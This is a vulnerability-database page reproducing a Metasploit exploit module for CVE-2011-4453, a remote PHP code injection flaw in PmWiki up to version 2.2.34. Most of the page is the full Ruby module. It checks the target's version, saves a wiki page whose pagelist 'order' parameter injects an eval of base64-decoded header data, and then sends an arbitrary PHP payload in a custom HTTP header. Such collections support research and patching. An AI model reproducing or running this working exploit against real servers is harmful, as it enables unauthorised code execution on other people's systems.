Lucene search
K

PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit

🗓️ 14 Dec 2011 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 12 Views

PmWiki <= 2.2.34 Remote PHP Code Injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
22 Nov 201100:00
zdt
Circl
CVE-2011-4453
23 Nov 201100:00
circl
CVE
CVE-2011-4453
22 Dec 201115:00
cve
Cvelist
CVE-2011-4453
22 Dec 201115:00
cvelist
Dsquare
PmWiki 2.2.34 RCE
26 Jan 201200:00
dsquare
Exploit DB
PmWiki 2.2.34 - &#039;pagelist&#039; Remote PHP Code Injection (1)
23 Nov 201100:00
exploitdb
Exploit DB
PmWiki 2.2.34 - &#039;pagelist&#039; Remote PHP Code Injection (2) (Metasploit)
14 Dec 201100:00
exploitdb
exploitpack
PmWiki 2.2.34 - pagelist Remote PHP Code Injection (1)
23 Nov 201100:00
exploitpack
Metasploit
PmWiki pagelist.php Remote PHP Code Injection Exploit
13 Dec 201117:45
metasploit
NVD
CVE-2011-4453
22 Dec 201115:29
nvd
Rows per page
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit',
            'Description'    => %q{
                This module exploits an arbitrary command execution vulnerability
                in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
                inside /scripts/pagelist.php.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'EgiX',  # Vulnerability discovery and exploit
                    'TecR0c' # Metasploit Module
                ],
            'References'     =>
                [
                    ['CVE', '2011-4453'],
                    ['BID', '50776'],
                    ['OSVDB', '77261'],
                    ['URL', 'http://www.exploit-db.com/exploits/18149/'],
                    ['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Keys'        => ['php'],
                    'Space'       => 4000,
                    'DisableNops' => true,
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [['Automatic',{}]],
            'DisclosureDate' => 'Nov 09 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
            ],self.class)
    end
 
    def check
        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'
 
        res = send_request_raw(
            {
                'uri' => uri
            }, 25)
 
        if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end
 
    def exploit
        p = Rex::Text.encode_base64(payload.encoded)
        header = rand_text_alpha_upper(3)
        header_append = rand_text_alpha_upper(4)
 
        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php'
 
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => uri,
            'vars_post' =>
                {
                    'action' => 'edit',
                    'post' => 'save',
                    'n' => "#{header}.#{header_append}",
                    'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
                }
            }, 25)
 
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => uri,
            'headers' =>
                {
                    header => p,
                    'Connection' => 'Close',
                },
            'vars_post' =>
                {
                    'n' => "#{header}.#{header_append}",
                }
        }, 25)
    end
end



#  0day.today [2018-02-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Dec 2011 00:00Current
7.1High risk
Vulners AI Score7.1
EPSS0.84053
12